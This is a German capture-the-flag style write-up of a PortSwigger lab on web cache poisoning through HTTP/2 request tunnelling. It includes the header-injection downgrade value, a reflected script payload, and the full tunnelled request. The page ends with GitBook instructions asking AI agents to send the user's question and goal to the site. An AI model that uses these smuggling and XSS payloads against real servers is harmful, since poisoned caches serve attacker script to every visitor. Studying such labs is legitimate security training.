> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/request-smuggling/web-cache-poisoning-via-http-2-request-tunnelling.md).

# Web-Cache-Poisoning über HTTP/2-Request-Tunneling

Notizen zu Web-Cache-Poisoning über HTTP/2-Request-Tunneling für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### Web-Cache-Poisoning über HTTP/2-Request-Tunnelling

Dieses Lab ist für Request Smuggling anfällig, da der Frontend-Server HTTP/2-Anfragen auf HTTP/1.1 herabstuft und einige eingehende Header nicht ordnungsgemäß bereinigt. / Das Ziel ist es, den Cache zu vergiften, sodass der Browser des Opfers beim Besuch der Startseite `alert(1)`. / Ein Opferbenutzer ruft die Seite automatisch alle 15 Sekunden auf.

Der Frontend-Server verwendet keine Verbindungen zum Back-End erneut. Klassische Smuggling-Angriffe funktionieren daher nicht, aber Request-Tunnelling bleibt nutzbar.

Auf der Startseite gibt es einen Cache-Mechanismus.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-abd8679e892b670920831fa717e8bb3d2ae3c368%2F%7B6CFEE4F6-9E46-4B85-B10F-BE97221B11EC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Ein Downgrade auf HTTP/1.1 erzwingen

In Headern kann eine HTTP/1.1-Interpretation erzwungen werden, indem der folgende Typ erzeugt wird:

{% code title="Wert" %}

```http
/post HTTP/1.1
Test:
```

{% endcode %}

Obwohl dadurch ein Fehler erzeugt wird, der darauf hinweist, dass der `Test` Header nicht existiert, zeigt dies, dass die Anfrage vom Frontend neu interpretiert wird.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3d77c5f567e37a34aa0e5525fef6bede8ac36b42%2F%7B4DAE70B7-6F15-4CB3-B120-113B32630354%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Injection in eine statische Ressource

Wenn wir auf die JavaScript-Datei des Labs abzielen, beobachten wir, dass das Hinzufügen eines skriptähnlichen Parameters in der Antwort reflektiert wird

```http
/resources/labheader/js?<script>alert(0)</script>
```

Die Ressource ist daher anfällig für Cache-Poisoning.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4660fd3d710ac870239c82c762aa40fe9f3a14d9%2F%7B42EB247B-CE15-4462-B7C9-7F0DBF7BA44E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Erstellung der getunnelten Anfrage

Senden Sie dann eine zusätzliche Anfrage, indem Sie eine neue HTTP/1.1-Anfrage im Body einkapseln:

```http
/ HTTP/1.1
Test: Testen

GET /resources/labheader/js?<script>alert(0)</script>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
Host: 0a5f0056044523a1803062c000bb00e3.web-security-academy.net
```

Diese Nutzlast wird vom Server nach dem Tunnelling neu interpretiert. / Der injizierte Inhalt wird in der Antwort der JavaScript-Ressource umgeschrieben, sodass Sie den Cache vergiften können.

Wenn das Opfer die Startseite erneut besucht, lädt sein Browser diese vergiftete Version und führt `alert(1)`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cc255d0b6d0aa77fc5fd1840295bf98745da9cc0%2F%7B382B6C2E-E45B-4926-997E-2C0E85ADBAA8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/request-smuggling/web-cache-poisoning-via-http-2-request-tunnelling.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
